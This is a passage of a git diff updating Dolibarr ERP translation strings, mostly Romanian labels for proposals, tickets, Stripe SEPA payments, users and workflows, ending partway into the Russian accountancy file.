      LatestProjects=Ultimele %s proiecte LatestModifiedProjects=Ultimele %s proiecte modificate OtherFilteredTasks=Alte task-uri filtrate @@ -259,7 +263,7 @@ TimeSpentInvoiced=Timp consumat facturat TimeSpentForIntervention=Timp consumat TimeSpentForInvoice=Timpi consumaţi OneLinePerUser=O linie per utilizator -ServiceToUseOnLines=Serviciu de utilizat pe linii +ServiceToUseOnLines=Serviciu de utilizat, pe linii, în mod implicit InvoiceGeneratedFromTimeSpent=Factura %s a fost generată cu timpul consumat pe proiect InterventionGeneratedFromTimeSpent=Intervenția %s a fost generată din timpul consumat pe proiect ProjectBillTimeDescription=Bifați dacă introduceți un timeline în task-urile proiectului ȘI intenționați să generați factură(i) din foaia de timp pentru a factura proiectul clientului (nu bifați dacă intenționați să creați o factură care nu se bazează pe foile de timp introduse). Notă: Pentru a genera factură, accesați fila "Timp consumat" a proiectului și selectați liniile pe care să le includeți. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Profitul este calculat utilizând AddPersonToTask=Adaugă și la task-uri UsageOrganizeEvent=Utilizare: Organizare eveniment PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Clasificați proiectul ca închis când toate task-urile sale sunt finalizate (100%% progres) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Notă: proiectele existente cu toate task-urile la 100 %% progres nu vor fi afectate: va trebui să le închideți manual. Această opțiune afectează doar proiectele deschise. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Notă: proiectele existente cu toate task-urile deja setate la un progres de 100 %% nu vor fi afectate: va trebui să le închizi manual. Această opțiune afectează numai proiectele deschise. SelectLinesOfTimeSpentToInvoice=Selectează linii de timp consumat care nu sunt facturate, apoi iniţiază acțiunea în bloc "Generare factură" pentru a le factura ProjectTasksWithoutTimeSpent=Task-uri proiect fără timp consumat FormForNewLeadDesc=Vă mulțumim că aţi completat formularul pentru a ne contacta. De asemenea, ne puteți trimite un email direct la %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Activare formular public de contact NewLeadbyWeb=Mesajul sau solicitarea ta a fost înregistrată. Vă vom răspunde sau vă vom contacta în curând. NewLeadForm=Formular contact nou LeadFromPublicForm=Formular public lead online +ExportAccountingReportButtonLabel=Generare raport diff --git a/htdocs/langs/ro_RO/propal.lang b/htdocs/langs/ro_RO/propal.lang index 388d721ca19..5f9d7d7db42 100644 --- a/htdocs/langs/ro_RO/propal.lang +++ b/htdocs/langs/ro_RO/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Disponibilitate livrare SetAvailability=Setează disponibilitatea de livrare AfterOrder=după comandă OtherProposals=Alte oferte + ##### Availability ##### AvailabilityTypeAV_NOW=Imediat AvailabilityTypeAV_1W=1 săptămână AvailabilityTypeAV_2W=2 săptămâni AvailabilityTypeAV_3W=3 săptămâni AvailabilityTypeAV_1M=1 lună -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Reprezentant urmărire ofertă TypeContact_propal_external_BILLING=Contact client pentru facturare ofertă TypeContact_propal_external_CUSTOMER=Contact client urmărire ofertă TypeContact_propal_external_SHIPPING=Contactul client pentru livrare + # Document models -DocModelAzurDescription=Un şablon complet pentru ofertă(vechea implementare a şablonului Cyan) -DocModelCyanDescription=Un şablon complet pentru ofertă -DefaultModelPropalCreate=Crează model implicit -DefaultModelPropalToBill=Model implicit la închiderea unei oferte comerciale (de facturat) -DefaultModelPropalClosed=Model implicit la închiderea unei oferte comerciale (nefacturat) -ProposalCustomerSignature=Acordul scris, ștampila companiei, data și semnătura -ProposalsStatisticsSuppliers=Statistici oferte furnizori -CaseFollowedBy=Caz urmat de -SignedOnly=Doar semnată -NoSign=Setează ca ne-semnat -NoSigned=setat ca ne-semnat CantBeNoSign=nu poate fi semnat +CaseFollowedBy=Caz urmat de ConfirmMassNoSignature=Confirmare bulk setare ca ne-semnate ConfirmMassNoSignatureQuestion=Sigur vrei să setezi înregistrările selectate ca ne-semnate? -IsNotADraft=nu este schiţă -PassedInOpenStatus=a fost validat -Sign=Semnare -Signed=semnat -ConfirmMassValidation=Confirmare validare bulk ConfirmMassSignature=Confirmare semnare bulk -ConfirmMassValidationQuestion=Eşti sigur că vrei să validezi înregistrările selectate? ConfirmMassSignatureQuestion=Eşti sigur că vrei să semnezi înregistrările selectate? -IdProposal=ID Ofertă +ConfirmMassValidation=Confirmare validare bulk +ConfirmMassValidationQuestion=Eşti sigur că vrei să validezi înregistrările selectate? +ConfirmRefusePropal=Eşti sigur că vrei să refuzi această ofertă comercială? +ContractSigned=Contract semnat +DefaultModelPropalClosed=Model implicit la închiderea unei oferte comerciale (nefacturat) +DefaultModelPropalCreate=Crează model implicit +DefaultModelPropalToBill=Model implicit la închiderea unei oferte comerciale (de facturat) +DocModelAzurDescription=Un şablon complet pentru ofertă(vechea implementare a şablonului Cyan) +DocModelCyanDescription=Un şablon complet pentru ofertă +FichinterSigned=Intervenție semnată IdProduct=ID Produs +IdProposal=ID Ofertă +IsNotADraft=nu este schiţă LineBuyPriceHT=Taxare la preţul net de achiziţie pentru linia respectivă -SignPropal=Acceptare ofertă +NoSign=Refuz +NoSigned=setat ca ne-semnat +PassedInOpenStatus=a fost validat +PropalAlreadyRefused=Ofertă deja refuzată +PropalAlreadySigned=Ofertă deja acceptată +PropalRefused=Ofertă refuzată +PropalSigned=Ofertă acceptată semnată +ProposalCustomerSignature=Acordul scris, ștampila companiei, data și semnătura +ProposalsStatisticsSuppliers=Statistici oferte furnizori RefusePropal=Refuză oferta Sign=Semnare -NoSign=Setează ca ne-semnat -PropalAlreadySigned=Ofertă deja acceptată -PropalAlreadyRefused=Ofertă deja refuzată -PropalSigned=Ofertă acceptată semnată -PropalRefused=Ofertă refuzată -ConfirmRefusePropal=Eşti sigur că vrei să refuzi această ofertă comercială? +SignContract=Semnare contract +SignFichinter=Semnare intervenție +SignPropal=Acceptare ofertă +Signed=semnat +SignedOnly=Doar semnată diff --git a/htdocs/langs/ro_RO/receptions.lang b/htdocs/langs/ro_RO/receptions.lang index 5bf7e8ff2fd..2f2e0e6c607 100644 --- a/htdocs/langs/ro_RO/receptions.lang +++ b/htdocs/langs/ro_RO/receptions.lang @@ -32,6 +32,7 @@ StatusReceptionDraftShort=Schiţă StatusReceptionValidatedShort=Validată StatusReceptionProcessedShort=Procesate ReceptionSheet=Notă de recepție +ValidateReception=Validare recepție ConfirmDeleteReception=Sigur doriți să ștergeți această recepție? ConfirmValidateReception=Sigur doriți să validați această recepție cu referința %s? ConfirmCancelReception=Sigur doriți să anulați această recepție? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Mod de numerotare pentru recepţii ReceptionsReceiptModel=Şabloane documente pentru recepţii NoMorePredefinedProductToDispatch=Nu mai sunt produse predefinite pentru expediere ReceptionExist=O recepţie există -ByingPrice=Preţ de achiziţie ReceptionBackToDraftInDolibarr=Recepţia %s readusă la schiţă ReceptionClassifyClosedInDolibarr=Recepţia %s a fost clasificată ca Închisă ReceptionUnClassifyCloseddInDolibarr=Recepţia %s re-deschisă diff --git a/htdocs/langs/ro_RO/recruitment.lang b/htdocs/langs/ro_RO/recruitment.lang index a274703fbae..db2737e3110 100644 --- a/htdocs/langs/ro_RO/recruitment.lang +++ b/htdocs/langs/ro_RO/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recrutor ToUseAGenericEmail=Utilizare email generic. Dacă nu este definit, se va utiliza emailul responsabilului de recrutare NewCandidature=Aplicare nouă ListOfCandidatures=Lista aplicărilor la job -RequestedRemuneration=Remunerație solicitată -ProposedRemuneration=Remuneraţie propusă +Remuneration=Salariu +RequestedRemuneration=Salariu solicitat +ProposedRemuneration=Salariu propus ContractProposed=Contract propus ContractSigned=Contract semnat ContractRefused=Contract refuzat RecruitmentCandidature=Aplicare la job JobPositions=Joburi disponibile RecruitmentCandidatures=Aplicări la job -InterviewToDo=Interviu de realizat +InterviewToDo=Contacte de urmărit AnswerCandidature=Răspuns aplicare YourCandidature=Aplicarea ta YourCandidatureAnswerMessage=Îţi mulţumim pentru aplicarea ta la job.
      ... diff --git a/htdocs/langs/ro_RO/salaries.lang b/htdocs/langs/ro_RO/salaries.lang index fcf8f93783c..3118f5c4898 100644 --- a/htdocs/langs/ro_RO/salaries.lang +++ b/htdocs/langs/ro_RO/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Contul contabil folosit pentru terți utilizatori -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Contul contabil dedicat definit pe cardul de utilizator va fi utilizat doar pentru contabilitatea subregistru. Aceasta va fi utilizată pentru Registrul general și ca valoare implicită a contabilității suregistru dacă nu este definită contul de contabilitate dedicat pentru utilizatori. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cont contabil (din Planul de Conturi) utilizat implicit pentru terți tip "utilizator". +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Contul contabil dedicat definit pe fișa de utilizator va fi folosit doar pentru contabilitate analitică. Acesta va fi folosit pentru Registrul general și ca valoare implicită de Subregistru dacă nu este definit un cont contabil dedicat pentru utilizator. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Contul contabil implicit pentru plata salariilor CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=În mod implicit, lăsați necompletată opțiunea "Creați automat o plată totală” la crearea unui salariu  Salary=Salariu @@ -24,3 +24,4 @@ SalariesStatistics=Statistici salariale SalariesAndPayments=Salarii și plăți ConfirmDeleteSalaryPayment=Vrei să ştergi această plată salarială ? FillFieldFirst=Completați mai întâi câmpul angajat +UpdateAmountWithLastSalary=Setare valoare la ultimul salariu diff --git a/htdocs/langs/ro_RO/stripe.lang b/htdocs/langs/ro_RO/stripe.lang index 6c4bca336c9..2132a4768cf 100644 --- a/htdocs/langs/ro_RO/stripe.lang +++ b/htdocs/langs/ro_RO/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Cheie live Webhook ONLINE_PAYMENT_WAREHOUSE=Stoc de utilizat pentru scădere atunci când se efectuează plata online
      (TODO Când opțiunea de a reduce stocul se face printr-o acțiune pe factură, iar plata online generează factura?) StripeLiveEnabled=Stripe live activat (altfel test/modul sandbox) StripeImportPayment=Import plată Stripe -ExampleOfTestCreditCard=Exemplu de card de credit pentru test: %s=> valid,%s => eroare CVC, %s=> expirat, %s=> retragere eşuată +ExampleOfTestCreditCard=Exemplu de card de credit pentru testul SEPA: %s => valid, %s => eroare CVC, %s => expirat, %s => taxare eșuată +ExampleOfTestBankAcountForSEPA=Exemplu de cont bancar BAN pentru testul de debit direct: %s StripeGateways=Gateway-uri Stripe OAUTH_STRIPE_TEST_ID=ID-ul de conectare Stripe a clientului (ca _...) OAUTH_STRIPE_LIVE_ID=ID-ul de conectare Stripe a clientului (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Șterge cardul ConfirmDeleteCard=Sigur doriți să ștergeți acest card de credit sau de debit? CreateCustomerOnStripe=Creați un client pe Stripe CreateCardOnStripe=Creați un card pe Stripe +CreateBANOnStripe=Creare cont bancar în Stripe ShowInStripe=Arată în Stripe StripeUserAccountForActions=Cont utilizator pe care să îl utilizați pentru notificarea prin email a anumitor evenimente Stripe (plăți Stripe) StripePayoutList=Listă de plăți Stripe @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Link de configurare Stripe WebHook pentru a apel IPN PaymentWillBeRecordedForNextPeriod=Plata va fi înregistrată pentru perioada următoare. ClickHereToTryAgain=Clic aici pentru a încerca din nou... CreationOfPaymentModeMustBeDoneFromStripeInterface=Datorită regulilor de autentificare securizată a clienților, crearea unui card trebuie făcută din backoffice-ul Stripe. Puteți face clic aici pentru a activa înregistrarea clienților Stripe: %s -TERMINAL_LOCATION=Locație (adresă) pentru terminale +STRIPE_CARD_PRESENT=Card prezent pentru terminalele Stripe +TERMINAL_LOCATION=Locația (adresa) pentru Stripe Terminals +RequestDirectDebitWithStripe=Ordin de debitare directă cu Stripe +STRIPE_SEPA_DIRECT_DEBIT=Activare plăți prin debit direct prin Stripe + diff --git a/htdocs/langs/ro_RO/ticket.lang b/htdocs/langs/ro_RO/ticket.lang index b3613cf1713..ef31806cec1 100644 --- a/htdocs/langs/ro_RO/ticket.lang +++ b/htdocs/langs/ro_RO/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modifică tichete Permission56003=Șterge tichete Permission56004=Gestionați tichetele Permission56005=Vedeți tichetele tuturor terților (nu este efectiv pentru utilizatorii externi, întotdeauna se limitează la terțul de care depind) +Permission56006=Export tichete +Tickets=Tichete de suport TicketDictType=Tipuri de tichete TicketDictCategory=Tichet - Grupuri TicketDictSeverity=Tichet - Severități @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Contributor extern OriginEmail=Email raportor Notify_TICKET_SENTBYMAIL=Trimite mesaj tichet pe email +ExportDataset_ticket_1=Tichete de suport + # Status Read=Citit Assigned=Atribuit @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Când închizi un tichet, ţi se va propune să trimi TicketWrongContact=Contactul furnizat nu face parte din contactele asociate pentru tichete. Email-ul nu a fost trimis. TicketChooseProductCategory=Categorie de produs pentru tichete suport TicketChooseProductCategoryHelp=Selectează categoria de produs pentru tichete de suport. Acesta va fi folosită pentru a asocia automat un contract la un tichet. +TicketUseCaptchaCode=Utilizare cod grafic (CAPTCHA) când se crează un tichet +TicketUseCaptchaCodeHelp=Adaugă verificare CAPTCHA la crearea unui tichet nou. # # Index & list page @@ -180,11 +186,11 @@ CreatedBy=Creat de NewTicket=Tichet nou SubjectAnswerToTicket=Răspuns la tichet TicketTypeRequest=Tip de solicitare -TicketCategory=Categorizare tichet +TicketCategory=Grup tichete SeeTicket=Vezi tichetul TicketMarkedAsRead=Tichetul a fost marcat ca citit TicketReadOn=Citește mai departe -TicketCloseOn=Dată de închidere +TicketCloseOn=Dată închidere MarkAsRead=Marchează tichetul ca citit TicketHistory=Istoric tichet AssignUser=Atribuire la utilizator @@ -192,8 +198,7 @@ TicketAssigned=Tichetul este acum atribuit TicketChangeType=Modificare tip TicketChangeCategory=Modificare cod analitic TicketChangeSeverity=Modificare severitate -TicketAddMessage=Adaugă un mesaj -AddMessage=Adaugă un mesaj +TicketAddMessage=Adăugare mesaj privat MessageSuccessfullyAdded=Tichet adăugat TicketMessageSuccessfullyAdded=Mesaj adăugat cu succes TicketMessagesList=Listă de mesaje @@ -204,8 +209,8 @@ TicketSeverity=Gravitate ShowTicket=Vedeți tichetul RelatedTickets=Tichete conexe TicketAddIntervention=Crează intervenţie -CloseTicket=Închidere/Rezolvare tichet -AbandonTicket=Abandonare tichet +CloseTicket=Închide|Rezolvat +AbandonTicket=Abandon CloseATicket=Închidere/Rezolvare un tichet ConfirmCloseAticket=Confirmați închiderea tichetului ConfirmAbandonTicket=Confirmați închiderea tichetului cu statusul 'Abandonat' @@ -219,18 +224,17 @@ SendMessageByEmail=Trimite un mesaj pe email TicketNewMessage=Mesaj nou ErrorMailRecipientIsEmptyForSendTicketMessage=Destinatarul este gol. Nu se trimite email TicketGoIntoContactTab=Accesează fila "Contacte" pentru a le selecta -TicketMessageMailIntro=Introducere +TicketMessageMailIntro=Header mesaj TicketMessageMailIntroHelp=Acest text este adăugat numai la începutul emailului și nu va fi salvat. -TicketMessageMailIntroLabelAdmin=Text de introducere pentru toate răspunsurile la tichete TicketMessageMailIntroText=Salut,
      A fost adăugat un nou răspuns la un tichet pe care îl urmăreşti. Iată mesajul:
        TicketMessageMailIntroHelpAdmin=Acest text va fi inserat înaintea răspunsului atunci când se răspunde la un tichet din sistem -TicketMessageMailSignature=Semnătură -TicketMessageMailSignatureHelp=Acest text este adăugat numai la sfârșitul emailului și nu va fi salvat. -TicketMessageMailSignatureText=Mesaj trimis de %s via sistem -TicketMessageMailSignatureLabelAdmin=Semnătura emailului de răspuns -TicketMessageMailSignatureHelpAdmin=Acest text va fi inserat după mesajul de răspuns. +TicketMessageMailFooter=Subsol mesaj +TicketMessageMailFooterHelp=Acest text este adăugat doar la sfârșitul mesajului trimis prin email și nu va fi salvat. +TicketMessageMailFooterText=Mesaj trimis de %s via sistem +TicketMessageMailFooterHelpAdmin=Acest text va fi inserat după mesajul de răspuns. TicketMessageHelp=Numai acest text va fi salvat în lista de mesaje de pe fişa tichetului. TicketMessageSubstitutionReplacedByGenericValues=Variabilele de substituție sunt înlocuite cu valori generice. +ForEmailMessageWillBeCompletedWith=Pentru mesajele de e-mail trimise utilizatorilor externi, mesajul va fi completat cu TimeElapsedSince=Timpul trecut de atunci TicketTimeToRead=Timpul trecut înainte de citire TicketTimeElapsedBeforeSince=Timpul scurs înainte de / de atunci @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Un nou mesaj a fost postat pe tichet TicketAssignedToYou=Tichet atribuit TicketAssignedEmailBody=Ai fost atribuit tichetului # %s de către %s MarkMessageAsPrivate=Marcați mesajul ca privat +TicketMessageSendEmailHelp=Un email va fi trimis tuturor persoanelor de contact alocate (contacte interne, dar și contacte externe, cu excepția cazului în care opțiunea "%s" este bifată) TicketMessagePrivateHelp=Acest mesaj nu va fi afișat utilizatorilor externi TicketEmailOriginIssuer=Emitent la originea tichetelor InitialMessage=Mesaj inițial @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Puteți vedea statusul tichetului în in TicketCloseEmailBodyInfosTrackUrlCustomer=Poți consulta istoricul acestui tichet făcând clic pe următorul link TicketEmailPleaseDoNotReplyToThisEmail=Nu răspundeți direct la acest email! Utilizați linkul pentru a răspunde în interfață. TicketPublicInfoCreateTicket=Acest formular vă permite să înregistrați un tichet de asistență în sistemul nostru de management al lucrărilor. -TicketPublicPleaseBeAccuratelyDescribe=Descrieți cu precizie problema. Furnizați cât mai multe informații posibile pentru a ne permite să identificăm corect solicitarea dvs. +TicketPublicPleaseBeAccuratelyDescribe=Vă rugăm să descrieți cu exactitate întrebarea dvs. Furnizați cât mai multe informații posibile pentru a ne permite să vă identificăm corect solicitarea. TicketPublicMsgViewLogIn=Introduceți codul de urmărire a tichetului TicketTrackId=ID urmărire public OneOfTicketTrackId=Unul dintre ID-urile tale de urmărire diff --git a/htdocs/langs/ro_RO/users.lang b/htdocs/langs/ro_RO/users.lang index 32f67d51357..9dc35d88e3c 100644 --- a/htdocs/langs/ro_RO/users.lang +++ b/htdocs/langs/ro_RO/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Înlăturare din grup PasswordChangedAndSentTo=Parola a fost schimbată şi trimisă către %s. PasswordChangeRequest=Solicitare de modificare a parolei pentru %s PasswordChangeRequestSent=Cererea de schimbare a parolei pentru %s a fost trimisă către %s. -IfLoginExistPasswordRequestSent=Dacă acest nume de utilizator este valid, a fost trimis un email pentru resetarea parolei. +IfLoginExistPasswordRequestSent=Dacă acest cont este valid (cu o adresă de email validă), a fost trimis un email pentru a resetarea parolei. IfEmailExistPasswordRequestSent=Dacă această adresă de email este corectă, a fost trimis un email pentru resetarea parolei. ConfirmPasswordReset=Confirmare resetare parolă MenuUsersAndGroups=Utilizatori & Grupuri @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Asociere la utilizator LinkedToDolibarrThirdParty=Asociere la terţ CreateDolibarrLogin=Creare utilizator CreateDolibarrThirdParty=Creare terţ -LoginAccountDisableInDolibarr=Cont dezactivat în sistem. +LoginAccountDisableInDolibarr=Cont dezactivat în Dolibarr +PASSWORDInDolibarr=Parolă modificată în Dolibarr UsePersonalValue=Utilizare setări personalizate -InternalUser=Utilizator intern ExportDataset_user_1=Utilizatori și proprietățile acestora DomainUser=Utilizator de domeniu %s Reactivate=Reactivare @@ -128,3 +128,7 @@ DateLastLogin=Data ultimei autentificări DatePreviousLogin=Data autentificării anterioare IPLastLogin=IP ultima autentificare IPPreviousLogin=IP autentificare anterioară +ShowAllPerms=Afișează toate rândurile de permisiuni +HideAllPerms=Ascunde toate rândurile de permisiuni +UserPublicPageDesc=Poți activa un card virtual pentru acest utilizator. O adresă URL cu profilul utilizatorului și un cod de bare vor fi disponibile pentru a permite oricui are un smartphone să îl scaneze și să adauge persoana de contact în agenda sa. +EnablePublicVirtualCard=Activare publică card virtual de utilizator diff --git a/htdocs/langs/ro_RO/withdrawals.lang b/htdocs/langs/ro_RO/withdrawals.lang index 0ee249cba29..0f4e85505c3 100644 --- a/htdocs/langs/ro_RO/withdrawals.lang +++ b/htdocs/langs/ro_RO/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Factură cu transfer de credit în aşteptar AmountToWithdraw=Suma de retras AmountToTransfer=Sumă de transferat NoInvoiceToWithdraw=Nici o factură deschisă pentru '%s' în aşteptare. Accesați fila '%s' de pe fişa de factură pentru a face o solicitare. -NoSupplierInvoiceToWithdraw=Nu este în așteptare nici o factură de de achiziţie cu 'Solicitare de direct credit'. Accesați fila '%s' de pe cardul de factură pentru a face o solicitare. +NoSupplierInvoiceToWithdraw=Nicio factură furnizor cu '%s' deschisă nu este în așteptare. Accesează fila '%s' de pe fișa de factură pentru a face o solicitare. ResponsibleUser=Utilizator responsabil WithdrawalsSetup=Configurare plată prin debit direct CreditTransferSetup=Configurare Transfer de credit @@ -42,6 +42,7 @@ CreditTransferStatistics=Statistici transferuri de credit Rejects=Respingeri LastWithdrawalReceipt=Ultimele %s încasări prin debit direct MakeWithdrawRequest=Efectuați o solicitare de plată cu debit direct +MakeWithdrawRequestStripe=Efectuează o cerere de plată prin debit direct prin Stripe MakeBankTransferOrder=Solicitare transfer de credit WithdrawRequestsDone=%s solicitări de plată prin debitare directă au fost înregistrate BankTransferRequestsDone=%s solicitări de transfer de credit înregistrate @@ -100,8 +101,11 @@ CreditDate=Credit pe WithdrawalFileNotCapable=Imposibil de generat fișierul chitanţă de retragere pentru țara ta %s (Țara ta nu este acceptată) ShowWithdraw=Afișează Comanda de debit direct IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Cu toate acestea, dacă factura are cel puțin o comandă de plată prin debit direct, care încă nu a fost procesată, aceasta nu va fi setată ca plătită pentru a permite gestionarea prealabilă a retragerii. -DoStandingOrdersBeforePayments=Această filă vă permite să solicitați o comandă de plată cu debit direct. Odată terminat, accesați meniul Bancă-> Plată prin debit direct pentru a genera și gestiona comanda de debit direct. La închiderea ordinului de debit direct, plata facturii va fi înregistrată automat, iar facturile vor fi închise dacă restul de plată este nul. -DoCreditTransferBeforePayments=Această filă vă permite să solicitați o comandă de transfer de credit. Odată finalizată, accesați meniul Bancă-> Plată prin transfer de credit pentru a genera și gestiona comanda de transfer de credit. Atunci când comanda de transfer de credit este închisă, plata facturii va fi înregistrată automat, iar facturile vor fi închise dacă restul de plată este nul. +DoStandingOrdersBeforePayments=Această filă îți permite să soliciți un ordin de plată prin debit direct. O dată finalizat, poți intra în meniul "Bănci->Plată prin debit direct" pentru a genera și gestiona un fișier de ordin de debitare directă. +DoStandingOrdersBeforePayments2=De asemenea, poți trimite o solicitare directă unui procesor de plăți SEPA, cum ar fi Stripe, ... +DoStandingOrdersBeforePayments3=Când ordinul de debitare directă este închis, plata facturii va fi înregistrată automat, iar facturile vor fi închise dacă restul de plată este nul. +DoCreditTransferBeforePayments=Această filă îți permite să soliciți un ordin de transfer de credit. După ce ai terminat, intră în meniul „Bancă->Plăți prin transfer de credit” pentru a genera și gestiona un fișier de ordin de transfer de credit. +DoCreditTransferBeforePayments3=Când ordinul de transfer de credit este închis, plata facturilor va fi înregistrată automat, iar facturile vor fi închise dacă restul de plată este nul. WithdrawalFile=Fişier debit order CreditTransferFile=Fişier transfer credit SetToStatusSent=Setează statusul "Fişier Trimis" @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Nu se poate crea o solicitare de debit direct pent SepaMandate=Mandat SEPA Direct Debit SepaMandateShort=Mandat SEPA PleaseReturnMandate=Vă rugăm să returnați acest formular de mandat prin email la %s sau prin poștă la -SEPALegalText=Prin semnarea acestui formular de mandat, autorizezi (A) %s să trimită instrucțiuni băncii tale pentru a-ţi debita contul și (B) banca ta să-ţi debiteze contul în conformitate cu instrucțiunile primite de la %s. Ca parte a drepturilor tale, ai dreptul la o rambursare din partea băncii, în conformitate cu termenii și condițiile acordului tău cu banca. Drepturile tale cu privire la mandatul de mai sus sunt explicate într-o declarație pe care o poți obține de la bancă. +SEPALegalText=Prin semnarea acestui formular de mandat, autorizați (A) %s și furnizorul său de servicii de plată să trimită băncii tale instrucțiuni pentru a-ți debita contul și (B) banca ta să-ți debiteze contul în conformitate cu instrucțiunile date de %s. Ca parte a drepturilor tale, ai dreptul la o rambursare de la banca ta în conformitate cu termenii și condițiile acordului tău cu banca. Drepturile tale cu privire la mandatul de mai sus sunt explicate într-o declarație pe care o poți obține de la bancă. CreditorIdentifier=Identificator creditor CreditorName=Numele creditorului SEPAFillForm=(B) Completați toate câmpurile marcate cu * diff --git a/htdocs/langs/ro_RO/workflow.lang b/htdocs/langs/ro_RO/workflow.lang index 9da05443cb0..e166a0fb768 100644 --- a/htdocs/langs/ro_RO/workflow.lang +++ b/htdocs/langs/ro_RO/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Clasificați comanda descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Clasifică comanda de achiziție sursă asociată ca primită atunci când o recepție este validată (și dacă cantitatea primită de toate recepțiile este aceeași cu cea din comanda de achiziţie pentru actualizare) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Clasifică comanda de achiziție sursă asociată ca primită atunci când o recepție este închisă (și dacă cantitatea primită de toate recepțiile este aceeași cu cea din comanda de achiziţie pentru actualizare) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Clasificați recepțiile la "facturate" atunci când este validată o comandă de achiziţie asociată +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Clasifică recepțiile ca "facturate" atunci când o factură de achiziție asociată este validată (și dacă suma facturii este aceeași cu suma totală a recepțiilor asociate) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=La crearea unui tichet , asociază contractele disponibile ale terților care se potrivesc descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Când se asociază contracte, caută printre cele ale companiilor-mamă @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Închideți toate intervențiile legate d AutomaticCreation=Creare automată AutomaticClassification=Clasificare automată # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Clasificați livrarea asociată ca închisă atunci când factura clientului este validată +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Clasifică expedierea/livrarea sursă asociată ca fiind închisă atunci când factura clientului este validată (și dacă suma facturii este aceeași cu suma totală a livrărilor legate) AutomaticClosing=Închidere automată AutomaticLinking=Asociere automată diff --git a/htdocs/langs/ru_RU/accountancy.lang b/htdocs/langs/ru_RU/accountancy.lang index 8a42092c368..4bc65b27e17 100644 --- a/htdocs/langs/ru_RU/accountancy.lang +++ b/htdocs/langs/ru_RU/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Выберите тип возврата каретк ACCOUNTING_EXPORT_PREFIX_SPEC=Укажите префикс для имени файла ThisService=Эта услуга ThisProduct=Этот продукт -DefaultForService=По умолчанию для услуги -DefaultForProduct=По умолчанию для товара +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Продукт для этой третьей стороны ServiceForThisThirdparty=Сервис для этой третьей стороны CantSuggest=Не могу предложить @@ -48,8 +48,9 @@ CountriesNotInEEC=Страны, не входящие в ЕЭС CountriesInEECExceptMe=Страны ЕЭС, кроме %s CountriesExceptMe=Все страны кроме %s AccountantFiles=Экспорт исходных документов -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Чтобы экспортировать журналы, используйте пункт меню %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=Просмотр по учетной записи VueBySubAccountAccounting=Просмотр по субсчету бухгалтерского учета @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Главный бухгалтерский сч MainAccountForUsersNotDefined=Основная учетная запись для пользователей, не определенных в настройке MainAccountForVatPaymentNotDefined=Главный бухгалтерский счет для уплаты НДС не определен в настройке MainAccountForSubscriptionPaymentNotDefined=Основной бухгалтерский счет для оплаты подписки не определен в настройке +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Область бухгалтерского учета AccountancyAreaDescIntro=Использование модуля бухгалтерского учета осуществляется в несколько этапов: @@ -99,7 +101,8 @@ ShowAccountingAccount=Показать учетную запись ShowAccountingJournal=Показать бухгалтерский журнал ShowAccountingAccountInLedger=Показать счет в бухгалтерской книге ShowAccountingAccountInJournals=Показать учетную запись в журналах -AccountAccountingSuggest=Учетный счет +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Учетные записи по умолчанию MenuBankAccounts=Банковские счета MenuVatAccounts=Счета НДС @@ -124,6 +127,7 @@ WriteBookKeeping=Зафиксировать операции в бухгалте 